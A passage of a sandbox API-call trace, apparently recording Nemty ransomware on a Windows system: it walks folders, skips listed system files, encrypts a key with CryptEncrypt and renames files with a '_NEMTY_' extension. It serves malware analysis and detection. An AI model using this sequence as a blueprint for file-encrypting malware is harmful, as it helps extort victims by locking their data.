lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0100.138] CloseHandle (hObject=0xffffffff) returned 0 [0100.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0100.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x63400c0 [0100.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400c0 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\en-us\\jnwdui.dll.mui._nemty_kgobjgd_")) returned 0 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94290 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0100.138] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="jnwmon.dll.mui", cAlternateFileName="")) returned 1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2=".") returned 1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="..") returned 1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="...") returned 1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="windows") returned -1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="rsa") returned -1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="NTDETECT.COM") returned -1 [0100.138] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="ntldr") returned -1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="MSDOS.SYS") returned -1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="IO.SYS") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="boot.ini") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="boot.ini") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="ntuser.dat") returned -1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="desktop.ini") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="CONFIG.SYS") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="RECYCLER") returned -1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="bootmgr") returned 1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="programdata") returned -1 [0100.139] lstrcmpiW (lpString1="jnwmon.dll.mui", lpString2="appdata") returned 1 [0100.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0100.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jnwmon.dll.mui", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jnwmon.dll.mui", lpUsedDefaultChar=0x0) returned 14 [0100.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94138 [0100.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0100.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941b0 [0100.139] Sleep (dwMilliseconds=0x5) [0100.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef574030, dwHighDateTime=0x1d561e7)) [0100.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xef574030, dwHighDateTime=0x1d561e7)) [0100.150] GetLastError () returned 0x5 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0100.150] GetLastError () returned 0x5 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0100.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0100.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0100.150] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94228 [0100.150] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94228, pcchString=0x653ef9c | out: pszString="xxsPSvgoLxHYcrBPf7/bifwmwO7ltOVQlxz5m3pds50BRMCwStHDnpkTQVP3Ti/g\r\nFfG/mwCAT6ZREL9Kr0ZBXFP3MmECXSte+GdjVskSfIstgqKl7jl3MdD4F5b+GzNx\r\nUe5MtcfgC18GYQKkASGE+qTiDrNHM9YhRdQOgkefWuFTr+URa7u2DhDknFzc0+uO\r\nF8umpns+lXPx7iGK02+38D+fXuKjs9OKNbqlvyjGuHTHFBjyTxFlXN07dBW1IL7z\r\nvKxu4ckFud1ZSPgLAj+Kl78uv+6tF7LG9g+sDhyj5kfCANTZwQts3q/5rbpCSE3a\r\ngWRgv4DFnLX80a2+5dUCQA==\r\n", pcchString=0x653ef9c) returned 1 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0100.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94228 [0100.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.150] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jnwmon.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.151] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.237] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.248] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0100.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.292] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0100.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.292] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, 